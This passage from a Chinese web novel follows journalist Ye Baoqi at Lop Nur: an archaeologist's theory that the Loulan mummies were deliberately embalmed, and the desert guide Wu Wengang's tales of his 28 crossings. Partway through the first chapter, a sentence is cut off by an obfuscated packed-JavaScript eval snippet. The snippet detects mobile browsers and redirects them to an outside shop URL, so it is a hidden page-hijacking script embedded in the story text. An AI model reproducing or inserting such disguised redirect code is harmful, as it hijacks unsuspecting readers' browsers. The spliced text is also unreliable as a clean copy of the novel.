古河道在车轮下呻吟,像一条被抽干了血液的巨蟒脊骨。采访队的越野车碾过龟裂的河床,扬起红色尘烟,那烟在午后光线中缓慢旋转,仿佛有看不见的魂灵在其中起舞。野骆驼群早已隐入地平线,只留下纷乱的蹄印,深深浅浅,通向时间深处。 叶葆启靠在车窗上,眼窝里积着细沙。他舔了舔干裂的嘴唇,尝到罗布泊独特的咸涩——那是千年盐壳的味道,是消失的湖泊最后的叹息。 “楼兰就要到了。”开车的向导老吴突然说,声音沙哑如磨砂纸,“也不是真正的楼兰,是她的影子。” “影子?”叶葆启问。 “米兰遗址,楼兰国的西大门。真正的楼兰城还在东北边一百多公里,军事禁区,进不去。”老吴顿了顿,“但影子有时候比本体更真实,你说是不是?” 叶葆启没有回答。他看见远处的地平线开始扭曲,土黄色的巨大土墩从大地深处生长出来,像是沉睡巨兽的脊背。雅丹地貌——风蚀的杰作,时间用最耐心的刀刃雕刻了这些诡异的造型。有的像废弃的城堡,有的像跪拜的僧侣,在午后的热浪中微微颤动,仿佛下一刻就要活过来。 米兰遗址匍匐在雅丹群落的怀抱中,像一只死去的甲虫。 叶葆启踩上废墟时,脚下传来空洞的回响。风在这里改变了声音,不再是平原上那种单调的呼啸,而是变成了无数声部的合唱——尖细的、低沉的、呜咽的、嘶吼的。考古队的保护员小张说,当地维吾尔人称这种风为“鬼诵经”。 “听,像不像诵经声?”小张指着残破的佛塔。 叶葆启侧耳倾听。真的,风穿过佛塔墙壁上的孔洞,产生奇异的共鸣。那声音若有若无,像是从很远很远的年代飘来的梵唱。他闭上眼睛,突然看见穿赭红色袈裟的僧侣在长廊下行走,看见商旅卸下疲惫的骆驼,看见壁画工匠在墙壁上勾勒菩萨低垂的眼睑。 “这墙上原来有壁画。”小张抚摸着一处斑驳的墙面,“德国探险家勒柯克二十世纪初来过,割走了一些。剩下的,风沙慢慢吃掉了。” 叶葆启凑近看,墙面上依稀可辨色彩——一种褪色的朱红,一种泛黑的靛蓝。他用指尖轻轻触碰,碎屑簌簌落下,在阳光下像金色的尘埃。他突然想起莫言小说里的一句话:“历史就是一层层脱落的墙皮,你拾起的每一片,都曾经是一个完整的世界。” 佛寺的废墟旁,几株骆驼刺在顽强生长,它们的根须深深扎进废墟的缝隙,像是在吮吸千年前的供养。叶葆启蹲下身,看见一只黑色的甲虫正努力爬过一片陶器碎片。那碎片边缘圆润,曾经是一个陶罐的一部分,也许盛放过清水,也许装过粮食,也许只是空着,等待主人从丝绸之路上归来。 “这里发现过佉卢文书。”小张的声音把他拉回现实,“一种死文字,记录的是楼兰国的法律、税收、婚约。最动人的是一封家书,一个远行的商人写给妻子的:‘若骆驼能飞,我明日便归。’” 风突然大了起来,卷起沙粒打在脸上生疼。叶葆启眯起眼睛,看见远处的雅丹群在移动——不,是影子在移动,是光线在玩把戏。那些土墩仿佛活了过来,慢慢变换姿态。他想起昨晚营地里的传说:月圆之夜,这些雅丹会恢复成原本的建筑,僧侣会重新点亮油灯,商队会再次启程。 “魔怔了?”老吴拍拍他的肩,“第一次来的人都这样。罗布泊会钻进你的脑子,在里面盖房子。” 夜晚的罗布泊是另一个世界。 白天的酷热迅速退去,寒冷从地心深处涌出。采访队围坐在篝火旁,火焰舔舐着黑暗,在每个人脸上跳动。星河低垂得可怕,仿佛一伸手就能摘下一把星星,但那些星星都是冷的,像冻僵的钻石。 陈专家坐在火堆东侧,他的脸在火光中半明半暗。他是那种典型的田野考古学者——皮肤皴裂如旱地,手指关节粗大,但眼睛异常明亮,像两颗被岁月打磨过的黑曜石。 话题不知怎么转到了“楼兰美女”。 “我在博物馆见过,”摄影师小李往火堆里扔了根柴,“真吓人,但又真美。皮肤还有弹性,头发金黄,眼睫毛一根根的。说是天然干尸,罗布泊的特殊气候保存的。” 陈专家沉默地抽着烟斗,烟丝的气味混入柴烟,变成一种奇异的香。许久,他才开口,声音不高,但每个字都沉甸甸的: “那可能不是天然形成的。” 火堆“噼啪”爆了一声,火星腾空而起,在黑暗中画出短暂的光痕。所有人都看向陈专家。 “你们知道古埃及木乃伊,”他继续说,语速缓慢,像在挖掘什么珍贵易碎的东西,“取出内脏,用泡碱脱水,涂上树脂,裹上亚麻布。一套完整的、有宗教意义的防腐技术。” 叶葆启感到脊背一阵发凉,不是因为寒冷。 “我们认为,罗布泊地区这些保存完好的遗存,可能也是人为处理的。”陈专家的烟斗在黑暗中明灭,“只是方法不同,材料不同,背后的观念也可能不同。” 他详细解释起来。近年来的CT扫描显示,一些被称为“干尸”的遗存体内,器官被有规律地移除——不是自然腐烂的随机状态,而是有意识的摘除。体腔内填充着混合物质:本地特有的盐碱土、羊毛、某种已经碳化的植物材料,甚至检测出动物油脂和树脂的痕迹。 “最有趣的是皮肤处理。”陈专家的眼睛在火光中异常明亮,“表面有涂层,非常薄,但均匀。成分分析显示是动物油脂混合植物汁液,可能还有矿物质。这不是自然风化能形成的均匀度。” 篝火静静地燃烧着。远处传来胡狼的嚎叫,声音孤独而悠长,仿佛来自另一个时空。 “你的意思是,”叶葆启小心翼翼地问,生怕惊跑了这个正在成形的想法,“楼兰人掌握了一种我们不知道的防腐技术?” “不止是技术,”陈专家纠正,“是一整套关于身体、灵魂、永生的观念体系。为什么要保存遗体?他们相信什么?死后世界是什么样子?这些处理背后,是一整个消失的宇宙观。” 小李嘟囔:“可文献里从没提过……” “楼兰本身留下的文献就很少,”陈专家苦笑,“而且,有些知识可能根本不用文字传承。可能是祭司的秘密,家族的秘术,或者——”他顿了顿,“或者普通得不需要特别记录,就像我们不会特意记录怎么煮米饭。” 那晚叶葆启失眠了。 他躺在睡袋里,听着帐篷外永不停息的风声。那风声里确实有声音——不是幻觉,是真的有节奏的变化。他想起陈专家的话:“鬼诵经”。 突然,他清楚地听见了一个词。不是汉语,不是维吾尔语,而是一种完全陌生的音节,但奇怪的是,他竟能理解它的意思:“盐”。 他坐起身,拉开帐篷的拉链。 月光下的罗布泊银白一片,盐壳反射着冷光,像一片凝固的海洋。雅丹群蹲踞在远方,沉默而巨大。叶葆启想起白天在米兰遗址看到的那个陶罐碎片,想起黑色甲虫爬过的轨迹。所有碎片都在他脑中旋转:壁画残片、佉卢文字、风蚀的佛塔、填充遗体的盐和羊毛、皮肤上的油脂涂层…… 它们开始拼接。 他仿佛看见三千年前的场景:一个楼兰贵族妇女去世了。女眷们用盐水为她净身,那盐水取自罗布泊的湖心,据说能洗涤罪孽。祭司念诵咒语,那些咒语在帐篷里回荡,融入羊油灯的青烟。然后,经过特殊训练的人开始操作——不是野蛮的解剖,而是仪式化的处理。内脏被取出,但不是丢弃,而是装进陶罐,罐子上刻着密文,随葬入墓。体腔被清洗,填充混合了香料和本地盐碱的羊毛。最后,皮肤被涂上一层秘制的油膏,那配方可能只有两三个人知道。 处理好的遗体被裹上精美的毛毯,不是裹尸布,而是生前最爱的毯子,图案是凤凰和蔓草。她被安置在家族墓穴中,面朝东方——太阳升起的方向,也是长安的方向。随葬的有她生前用的铜镜、梳子,丈夫从长安带回的丝绸碎片,孩子用羊骨做的小玩具。 墓穴被封上之前,祭司最后念道:“你的身体将如胡杨不朽,你的灵魂将如候鸟归来。” 然后,三千年的风沙掩埋了墓穴。罗布泊的水退去,盐碱上升,包裹着那具被精心处理的躯体。直到某一天,考古学家的小铲子轻轻敲开了时间的封缄。 叶葆启颤抖着点燃一支烟。火星在黑暗中亮起,像一只微小的、警觉的眼睛。 他想写。不是简单的事实报道,而是试图进入那个消失的世界,用文字重建那个仪式,让读者感受到油脂涂在皮肤上的触感,闻到混合香料的气味,听见祭司古老的咒语。 第二天,采访队继续探访米兰遗址的其他区域。叶葆启特意走在陈专家身边,像个求知若渴的学生。 “如果真是人为处理,为什么这么多年都没被发现?”他问。 陈专家停在一处残墙边,用手抹去墙上的浮沙:“因为我们太相信‘常识’了。罗布泊这么干燥,尸体自然变成干尸,多合理的解释。科学有时候会被合理性绑架。” 他告诉叶葆启一个故事:上世纪八十年代,一具著名的“楼兰美女”出土时,所有人都惊叹于自然保存的奇迹。当时有位老技工小声说:“这处理手法,跟我爷爷处理猎物有点像……”但没人听他的。老技工不识字,不会写论文,他的声音消失在学术的殿堂之外。 “直到最近,仪器进步了,我们能看见以前看不见的东西。”陈专家说,“CT、分子分析、材料鉴定。科学仪器不会预设答案,它们只是显示事实。而事实是:那些遗存的处理方式,超出了自然作用的范围。” 他们走到一处挖掘探方旁,已经回填了大半,只剩下一个浅浅的坑。陈专家跳下去,用手刨了刨,捡起一小块黑色物质:“炭化的织物。可能是裹尸布,也可能是衣物。你看边缘整齐,是裁剪过的。” 叶葆启接过那小块炭化物,轻得几乎没有重量。三千年前,这是一块布,可能染成红色或蓝色,可能绣着图案。一个楼兰女子曾穿着它,在绿洲的树荫下行走,风吹起衣角,沙枣花的香气若有若无。 “但最难的不是证明‘有人为处理’,”陈专家爬出探方,拍掉手上的土,“而是理解‘为什么’。古埃及人相信,保存身体是灵魂回归的容器。楼兰人呢?他们信仰佛教,也信祆教,还有本地原始崇拜。他们的生死观是什么?” 午餐时,叶葆启没吃几口。他的脑子太满了,装不下食物。他找了个僻静处,打开笔记本,开始记录: >假设:楼兰存在一套独特的尸体保存技术。 >证据:1.体内器官有规律缺失;2.体腔填充人工混合物;3.皮肤检测到均匀涂层;4.包裹方式显示仪式性;5.同一区域、同样环境,保存状态差异巨大。 >意义:如果成立,则说明——a.古代楼兰在医学/化学领域有被低估的成就;b.存在一套完整的丧葬观念体系;c.可能的社会分层(只有部分人能享受此处理);d.与周边文明的差异与交流(不同于埃及、不同于中原)。 >问题:技术细节?传承方式?何时开始?何时失传?与楼兰消失的关系? 写到这里,他停下笔。最后一个问题让他心头一震:楼兰的消失,和这种技术的失传,有没有关联?一个文明在消亡前,是否会拼命保存自己的痕迹,就像快要淹死的人抓住最后一根稻草? 下午,采访队准备离开米兰,前往下一个地点。临行前,叶葆启独自走到佛塔废墟的最高处。 风比昨天更猛了,卷起的沙粒打在脸上像针扎。他眯着眼眺望,雅丹群在飞舞的沙尘中变形、流动,真的像活了过来。 突然,他听见了清晰的声音。不是风,是真的声音,很多人的声音:驼铃声、说话声、孩子的笑声、水流声。他猛地回头,但身后只有废墟。声音是从哪里来的? “叶记者!”小李在下面喊,“该走了!” 叶葆启往下走,脚步踉跄。走到半途,他踢到了什么东西——不是石头,而是一个陶罐的颈部,刚被风从沙里吹出来。他捡起来,罐颈内侧有暗红色的痕迹。他凑近闻,一股极淡的、奇异的气味钻入鼻腔:没药?乳香?还是其他什么早已消失的香料? 他没告诉任何人,悄悄把陶片装进口袋。那一刻他确信,有些记忆不是写在纸上,而是渗入泥土,烧进陶土,躲在盐晶的缝隙里,等待某个特别的人来唤醒。 车上,他问陈专家:“如果这技术真的存在,它可能流传下来吗?哪怕是碎片?” 陈专家很久没回答。车在颠簸的荒漠路上行驶,窗外是重复的、荒凉的景色。就在叶葆启以为他不会回答时,他开口了: “塔克拉玛干边缘有个村子,老人去世后,家人会用一种混合了七种植物灰的泥涂抹逝者的太阳穴。我问为什么,他们说不上来,只说‘自古就这样’。那七种植物里,有三种已经不在当地生长。” “你的意思是……” “传统会变形,会萎缩,会隐藏,但不会完全消失。”陈专家望着窗外,“它可能变成一句没来由的俗语,一个奇怪的习惯,一个解释不清的仪式。就像河流改道后,地下的暗流还在原来的河床里流淌。” 叶葆启摸着口袋里的陶片,那凸凹的表面仿佛有温度。他想,也许这就是记者的使命:倾听暗流的声音。 回到乌鲁木齐后,叶葆启花了整整一周写那篇报道。 他白天采访更多的专家:材料学家分析涂层成分,遗传学家解读古DNA数据,人类学家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904194|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推测楼兰的社会结构。晚上,他对着电脑,却常常写不出一个字。 问题不是缺乏材料,而是太多。他掌握的已经不是一个简单的科学发现,而是一扇门,推开后是一个庞大的、幽暗的迷宫。他该带读者走多远?走多深? 第四个深夜,他再次失眠。凌晨三点,他爬起来,冲了杯浓茶,坐在窗前。乌鲁木齐的夜不像罗布泊那么黑,城市的光污染在天边涂出一片暗红。他突然想起米兰遗址的那个夜晚,篝火,陈专家半明半暗的脸,风中似有似无的诵经声。 他明白了。他不能只写“科学家发现楼兰美女可能是人为处理”,他要写那个过程,那个仪式,要让读者闻到香料的气味,感到油脂的黏稠,听见三千年前的咒语。他要写的不只是考古,而是一次招魂——用文字招回一个消失的世界。 他重新打开文档,手指在键盘上停留片刻,然后开始敲击: >**盐与记忆:楼兰的永生之术** > >在罗布泊的盐壳之下,时间以不同的速度流淌。有些事物腐烂了,有些却固执地留存,比如那些被我们称为“楼兰美女”的遗存。三千年前,她们的眼睛最后一次闭合时,有人为她们施行了一种秘密的仪式——那不是结束,而是另一种形态的开始。 > >现代科学的眼睛(CT、质谱仪、DNA测序仪)正在揭开这个秘密:那些保存完好的身体,可能是古代楼兰人刻意保存的。用本地的盐、羊毛、植物和动物油脂,按照一套已经失传的配方和程序,他们试图对抗时间最无情的法则——腐朽。 > >为什么? > >也许因为他们相信,身体是灵魂的居所,而灵魂像候鸟,总会归来。也许因为他们身处丝绸之路的十字路口,见识过各种永生之术,创造了自己的版本。也许仅仅因为爱——无法接受所爱之人化为尘土,于是用尽智慧,让告别变得缓慢一些,再缓慢一些。 > >这不是古埃及的木乃伊。这是罗布泊的回答,是盐泽的哲学,是风沙也未能完全抹去的、人类对抗虚无的尝试。 写到东方发白时,叶葆启终于写完最后一个字。他靠在椅背上,筋疲力尽,但心中有某种东西饱满欲溢。他想起在罗布泊的最后一天,陈专家对他说的话: “我们考古,挖的从来不是死人,而是活人——那些还活在陶片纹路里、活在骨头结构里、活在墓葬排列方式里的活人。每一次发掘,都是一次唤醒。” 报道发表后引起的反响超出了叶葆启的预期。考古学界有赞同的,有质疑的,但普遍认为“提供了一个重要的新视角”。科普读者兴奋于“原来古代技术这么先进”。而最让他感动的,是一位新疆读者来信: “我奶奶是若羌的维吾尔族人,去年去世前,她让我们在她枕头下放一小包盐和羊毛。我们一直不知道为什么传统。看了你的文章,我哭了。也许有些记忆真的在血液里流淌,哪怕我们已经忘记了原因。” 叶葆启回信时,附上了在米兰捡到的那块陶片的照片。他没有说自己的幻听,没有说风中听见的“盐”字,没有说那些夜晚的梦境——梦里,他看见穿毛毡长袍的女人在涂一种发亮的油膏,嘴里哼着无词的歌谣。 有些事,不需要全说。就像楼兰人没有把所有秘密都写进佉卢文书,他们相信有些知识应该活在实践中,活在传承中,活在沉默的仪式里。 文章发表一个月后,叶葆启收到一个包裹,寄件人是陈专家。里面是一小瓶白色晶体和一张纸条: “罗布泊湖心盐样,经检测含有特殊矿物成分,与‘楼兰美女’皮肤涂层中的某些微量元素匹配。也许这就是他们用的盐。送你一点,不是证据,是诗意。” 叶葆启打开瓶子,倒出少许在掌心。盐粒在手温下微微潮湿,反射着办公室的荧光灯,像细碎的星辰。他尝了一点,极咸,但咸味过后,有一种难以形容的回味——不是苦,不是涩,而是一种空旷,像站在无人的荒漠中央,四面八方都是地平线。 他突然明白了。盐不仅是防腐剂,也是记忆的载体。海水蒸发成盐,盐渗入土地,土地长出植物,植物喂养人和动物,人和动物死去,盐又回到土地。这是一个循环,而楼兰人也许在直觉层面理解了这个循环,所以用盐来保存身体——让亲人在大地的循环中停留得久一些,让告别有更长的缓冲。 他盖上瓶子,小心收好。窗外,北京正在入秋,梧桐叶开始变黄。距离罗布泊三千公里,距离楼兰三千年,但此刻,他感到一种奇异的连接。就像沙漠下的暗流,看不见,但知道它在流淌。 那天晚上,他做了一个梦。 梦里,他走在米兰遗址,但遗址是完整的。佛塔金顶闪耀,壁画鲜艳如新,僧侣的诵经声清晰可辨。一个穿楼兰服饰的女子走过来,递给他一个小陶罐。罐子里是半凝固的油脂,散发着复杂的香气。女子不说话,只是微笑,然后指向西方——落日正在沉入雅丹的背后。 他醒来时,凌晨四点。梦境如此清晰,他甚至记得油脂的质感:介于蜂蜜和蜡之间,温润而厚重。 他起身,打开电脑,开始写一篇新的文章。这次不是新闻报道,而是一个短篇故事,关于一个楼兰防腐师最后的传承。他写得很慢,很小心,仿佛真的在调配那种失传的油膏。 第一缕晨光照进窗户时,他写到了结尾。防腐师在去世前,把配方告诉了小女儿,不是用文字,而是让她亲手操作一遍。最后他说:“记住手的动作,记住气味,记住每一种材料入手的感觉。将来某一天,会有人需要这个记忆。” 叶葆启停笔,看向窗外逐渐亮起的天空。 他想,也许记忆从来不会真正消失。它只是变换形态,从仪式变成习惯,从习惯变成传说,从传说变成风中听不清的絮语,然后等待某个时刻,被需要它的人重新听见。 就像罗布泊的盐,干了又湿,结晶又溶解,但始终在那里——在湖床深处,在风化的土墩里,在三千年前某个女人涂抹过油脂的皮肤里,在一个记者凌晨四点的键盘敲击声里。 永生也许不存在,但记忆可以接近永恒。而人类所有的技术,所有的艺术,所有的文明,最终不都是对抗遗忘的、悲壮而美丽的尝试吗? 叶葆启关上电脑,掌心还残留着梦里油脂的触感。 新的一天开始了。在城市的喧嚣升起之前,有那么一瞬间,他清楚地听见了风穿过佛塔孔洞的声音,遥远而清晰,像一声跨越三千年的叹息,又像一句刚刚开始的、长长的咒语。 而那咒语的内容,他忽然听懂了。只有一个词,不断重复: “记住。” “记住。” “记住。” 43. 第043章 砂海摆渡人 罗布泊的傍晚从来不是温柔的。那日风沙初歇,天空呈现出一种病态的绛紫色,像是被钝器击打后淤血的肚皮。砂砾还在半空中悬浮着,细看时每颗都裹着一层诡谲的磷光——这是盐壳与月光□□生出的异象。叶葆启踩着没过脚踝的浮尘走向营地边缘时,觉得自己正跋涉在某个远古巨兽逐渐冷却的脊背上。 那顶褪成灰白色的帐篷孤悬在车队五十米外,像一颗被遗忘的头颅。帆布在微风中发出老人磨牙般的声响。叶葆启怀中揣着的不是录音笔,而是一个枣木茶盒,里头是真正的明前龙井——这在内海也是稀罕物,此刻却显得荒诞,像捧着玉碗向饿鬼布施。 “吴师傅?”他唤了一声,声音刚出口就被砂海吞掉大半。 帆布帘掀开一角,先探出的是一只手:指节粗大如古藤瘤,掌纹里嵌着洗不净的黑褐色——那是罗布泊的印记,盐碱与铁锈的混合物。接着是半张脸,在暮色中像一块被风化的玄武岩雕塑。 “叶记者。”吴文港的声音粗粝如砂纸摩擦铁皮,“有茶?” 帐篷内的空间比棺材大不了多少。叶葆启躬身钻入时,头顶蹭过一串悬吊的物什——风干的骆驼刺、磨成薄片的动物骨殖、用红绳系着的铜铃铛,相撞时发出空洞的脆响。汽油炉的蓝焰舔着铝壶底,光影在帆布壁上跳起傩戏。 吴文港盘腿坐在毡垫上,身后的地图占据整面帐壁。那不是普通地图,是牛皮纸上用不同颜色的矿粉绘制成的:靛蓝是古河道,朱砂标着干涸的泉眼,炭黑勾勒雅丹的走向,金粉点在可能有遗存的地方——有些金点已经暗淡发黑,像是被无数目光摩挲过。地图边缘用蒙文和汉文混杂标注着小字:“此处有会唱歌的石头”、“七月满月夜勿经此地”、“白骆驼饮水处”。 茶香升起时发生了奇妙的事。那些悬浮的茶雾竟不散去,在狭小空间里凝结成淡青色的云絮,缓缓沉降,覆盖了工具、睡袋、那双沾满盐霜的翻毛靴。吴文港深深吸气,胸腔扩张时发出风箱般的声响。 “第二十八次了。”他忽然开口,眼珠在昏暗中泛着石英的光泽,“进这罗布泊。” 叶葆启的钢笔悬在笔记本上,一滴墨汁坠下,在纸面洇成罗布泊的形状。 吴文港不是生来就叫这个名字。在若羌的土坯房里,母亲唤他“敖登”,蒙语里的星星。父亲早年被流沙吞没时,只留下一块走时永远停在下午三点十七分的苏联手表——那是沙暴降临的时刻。 “第一次进罗布泊是给死人带路。”他啜饮滚烫的茶,舌尖不怕烫,已磨出老茧般的感觉,“九三年,三个广东来的采石人,说要找那种能透光的戈壁玉。我说七月不能进,他们不信。” 他的叙述断断续续,像被风撕碎的经幡。 “第四天就出事了。领头的那个姓陈的,晌午时突然说看见一片湖,蓝得晃眼。说着就朝那片幻象跑,怎么喊都不回头。等我们追上去,人已经陷进流沙井——那地方现在地图上我标作‘陈眼’,每年七月十五,井口会冒出寒气,能在三伏天结霜。” 叶葆启记录的手在颤抖。不是恐惧,是某种更原始的战栗,仿佛听见大地深处的脉搏。 “后来呢?” “后来?”吴文港从工具箱底层摸出一个布包,层层揭开,里头是一截指骨,中指,戴着枚被砂砾磨去花纹的金戒指,“只剩这个。我带回给他老婆,那女人抱着骨头哭了三天,眼泪滴在骨头上,竟长出细细的盐晶。” 他说话时常有长时间的停顿,眼珠转向虚空,像在读取空气中看不见的字迹。叶葆启逐渐意识到,这个男人的记忆不是线性的——每一次穿越都在他生命里凿出一条独立的河道,二十八条河在体内奔涌,时而交汇,时而干涸。 “最险的是第九回。”吴文港往炉里添了块骆驼粪,火焰猛地蹿高,在他脸上投出跳动的阴影,“带的是地质大学的教授队,三辆车,十二个人。在湖心,领头车的变速箱裂了,像被无形的手掰开的核桃。” 那夜的星空他至今能在闭眼时完整复现。“罗布泊的星星不一样,密密麻麻挤在一起,低得像是要砸下来。银河浓得像泼翻的奶,淌过天穹时会有窸窣的声响——真的,不骗你,静到极处时能听见。” 没有电台,没有信号弹。食物计算后只够五天,水更少。“第七天,教授里最年轻的那个女博士开始说胡话,说看见楼兰公主在沙丘上跳舞,要去找她要水。我捆了她手脚,用湿布敷她额头,布很快就烤干了。” 决定徒步求援那夜,吴文港做了件怪事。“我把所有人的名字写在一张锡纸上,埋进盐壳下三尺。这是老辈人教的——把名字留给大地,大地也许会念情。” 他独自出发,背囊里只有半壶水、一把盐、一根用骆驼韧带搓成的绳子。“走夜路,靠星星。但罗布泊的星星会骗人,它们有时突然集体挪位置,像有人在天上重新布棋。我只能看自己的影子——月光下的影子有重量,真实的影子边缘是毛茸茸的,幻影的影子像刀切的。” 六十公里走了两夜一天。途中他遇见一片“活着的雅丹”:风蚀土丘在月光下缓慢移动,像巨人的骨骸在翻身。他在土丘的阴影里歇脚时,听见岩层深处传来敲击声,均匀如心跳。 “是地下河,”他呷了口茶,“早干了几百年了,但那声音还在,像河的魂魄不肯散。” 第三天拂晓,他爬上通讯铁塔时,靴底已经磨穿,袜子上结着血和盐的硬壳。发出的求救信号惊动了整个若羌的救援系统。车队被找到时,十二个人挤在车影里,用尿液浸湿布条敷在口鼻上——是吴文港临走时嘱咐的。 “那女博士后来成了国内顶尖的地质学家,”他眼神飘远,“每年春节都给我寄贺卡,附一张她在各地采的岩石切片。去年寄的是南极的冰芯切片,说在里头看见了和罗布泊盐芯一样的结晶结构。” 第二十三次穿越遇上的黑风暴,在气象记录里被标注为“百年一遇”。吴文港的描述却带着诡异的诗意。 “风来之前,所有的石头都在唱歌。”他用指节叩击地面,“不是风吹的那种哨音,是真的唱歌——低低的,嗡嗡的,像大地在热身嗓子。” 车队八辆车,瞬间被扯散。“能见度是零,不是夸张,是真的一点光都没有。你伸手在眼前晃,看不见,但能感觉到手指搅动的沙流,像伸进浓粥里。” 对讲机里最先传来的是哭泣,然后是咒骂,最后只剩下电流的嘶嘶声。“我知道不能停,一停就会被埋。就开着头车在黑暗里转圈,一遍遍按喇叭——那喇叭声在风里变形了,听起来像牛在哭。” 最诡异的事发生在后半夜。“风里忽然混进了别的声音。起初以为是幻听,后来所有人都听见了——驼铃,很多驼铃,还有人的吆喝声,说的是听不懂的古语。” 他沉默良久,帐篷外风声又起,应和般呜咽着。 “是商队,”他终于说,“丝绸之路上失踪的商队。他们的魂困在沙暴里了,一遇大风就出来,继续走他们没走完的路。我后来查过地方志,那片区域在唐时叫‘鬼嚎坳’,确有商队失踪的记载。” 那夜他做了一件后来被传为奇谈的事:打开车灯,调转车头,朝着驼铃声的方向,缓缓行驶。“我在给他们引路。车灯切开黑暗时,余光里能看见影子——不是人的影子,是骆驼和货物的剪影,长长的,在沙幕上流过。” 天亮时风歇,八辆车竟奇迹般聚在一处,围成一个不规则的圆。更奇的是,圆心处出现了一口井——早干涸的,但井壁上留着新鲜的水渍,像刚有人打过水。 “从那以后,我左耳就坏了,”吴文港偏过头,露出左耳廓,耳道口结着白色的钙化痂,“总是听见驼铃声,细细的,下雨天更清楚。去医院看,医生说耳膜完好,是神经性耳鸣。可我知道不是。” 他忽然压低声音:“那铃声在告诉我事情。比如哪片雅丹要塌了,哪条路下面有暗河改道了。有回铃声急得像打鼓,我硬拦着车队改道,半小时后,原定的路上起了龙卷风,把一辆废弃的油罐车卷到百米高。” 说到野骆驼时,吴文港从毡垫下抽出一本册子。不是相册,是手绘本,纸页被摩挲得起了毛边。 第一页是铅笔素描:母骆驼跪在盐碱滩上,身下刚娩出的幼崽裹着胎衣,像一尊玉雕。第二页是水彩:夕阳下,七八头骆驼排成纵队穿过龟裂的湖盆,影子拉长得像通往另一个世界的桥。 翻到中间,他的手停顿了。那一页用炭笔涂得很暗,画面中心是一头倒毙的骆驼,腹部被剖开,象牙色的肋骨刺向天空。旁边站着两个模糊的人影,肩上扛着枪。 “这是零三年冬天,”他的声音变得很轻,轻得像怕惊醒什么,“在阿其克谷地。偷猎者用改装过的越野车追,把骆驼群逼到绝壁。那头是头驼,最老的,左耳缺个角——我认得它,它小时候踩过我撒的盐。” 他赶到时,血已经渗进砂土,结成紫黑色的冰。“不是为肉,是为那点驼峰里的脂肪——有人收,说是做药引。皮也不要,就扔在那儿,摊开着,像件被脱下的袍子。” 那夜他在尸体旁生了堆火,坐了一宿。“后半夜,活着的骆驼回来了,远远站着,不下跪,也不叫唤。就那么看着,眼睛在黑暗里发绿光。天亮时,它们用前蹄刨坑,把死骆驼埋了——真的,我亲眼看见,它们会埋葬同类。” 自那以后,他的工具箱里多了个夹层:一副红外望远镜,一沓印着森林公安电话的卡片,还有——他迟疑了一下,还是展示了——一把用驼骨打磨的匕首,柄上刻着蒙文的咒文,大意是“让贪婪者的眼睛变成石头”。 “我带科考队做的最大贡献,是摸清了野骆驼的迁徙路线。”他指向地图上一条用银色粉末勾出的虚线,“它们不是乱走,是有记忆的。哪个月走哪条路,在哪里配种,在哪里生崽,代代相传。这路线比人画的还准。” 去年春天,他参与了一次反偷猎行动。埋伏了四天三夜,终于在“月亮湾”截住那伙人。“抓人的时候,有头白骆驼——罕见的白化种,站在远处的沙梁上看着。等警车开走了,它才下来,走到我车前,点了点头。” 他把“点了点头”说得很认真,仿佛那是件再自然不过的事。 “万物都有灵,”他总结道,往炉子里添了最后一块燃料,“你当它们是牲口,它们就是牲口;你当它们是邻居,它们就是邻居。这罗布泊啊,看着空,其实满着呢,住着你看不见的房客。” 关于彭加木,吴文港带过十一支搜寻队。“有官方的,有民间的,还有他学生自发组织的。最长的一次在里头转了四十七天。” 他的视角很特别:“别人找的是人,我找的是‘路’——彭先生最后可能走的那条路。” 他展开另一张手绘图,是马兰基地以东区域的放大。上面用红箭头标出十二条可能的路径,每条都标注着尝试次数和结果。 “第三条路最邪门,”他的手指点在图纸中央,“每次走到这片盐壳区,指南针就疯转,仪器全失灵。有回我们做了记号,第二天回来看,记号往西挪了三百米——不是风刮的,因为插记号的铁桩也一起挪了。” 他顿了顿:“后来有个搞物理的教授说,可能是地下有强磁矿。但我更信另一种说法:是彭先生的魂魄还在找路,他走迷糊了,把我们的记号当成他的路标,想跟着走回家。” 最接近的一次是在二零零九年。“在库姆塔格沙漠边缘,发现了个帆布包,半埋在沙里。里头有本工作笔记,塑料皮包着的,字迹还能认。不是彭先生的,是个苏联专家的,五八年援建时的。但翻到最后一页,空白处用铅笔写着几个字,很小:‘往东有水’。” 那笔迹经过鉴定,与彭加木野外笔记的笔迹相似度极高。“可那苏联人的笔记怎么会落到彭先生手里?又怎么出现在两百公里外?”他摇摇头,“这地方这种事多,不能细想,细想晚上睡不着觉。” 他带过的队伍里,有位彭加木的故交,退休的老教授。走到“沙井”遗址时,老人忽然蹲下,抓起一把沙子捂在脸上,肩膀剧烈抖动。“我们都以为他在哭,过去看,他脸上干的,一滴泪都没有。他说不是难过,是忽然闻见了彭加木的味道——烟丝混着汗味,还有种特殊的墨水味。” 吴文港从那时起有了个习惯:每到一处疑似彭加木经过的地方,就收集一小瓶沙。“不是指望找到什么,是觉得这些沙子里可能留着点什么。二十八瓶了,标着日期和地点,在我若羌的家里摆成一排。有时候月光照进去,瓶里的沙会微微发亮,像里头掺了金粉。” 茶壶见了底。叶葆启本子记满了七页,手指被钢笔硌出深痕。他问出那个盘桓已久的问题:“为什么坚持?二十八次,够写本史诗了。” 吴文港没有立即回答。他起身,掀开帐篷帘子。夜已深,银河真的垂到了沙丘顶端,星光在盐壳上反射,地面如同洒满碎玻璃的黑色绸缎。 “你看这罗布泊,”他声音融进夜色里,“它是个镜子。你带着什么进来,它就照出什么。贪婪的看见黄金,绝望的看见坟墓,好奇的看见秘密。我?我看见的是‘债’。” 他退回帐篷,盘腿坐下,腰背挺直如胡杨树干。 “我父亲死在这里,这算第一笔债。我带进来的人,有些再没出去,这算第二笔。我喝过这里的水——不是真水,是盐泉里渗出的那点湿气,这算第三笔。债欠多了,债主就成了家。你离不开家了。” 他从枕边摸出个铁皮盒子,打开,里头是些零碎:褪色的照片 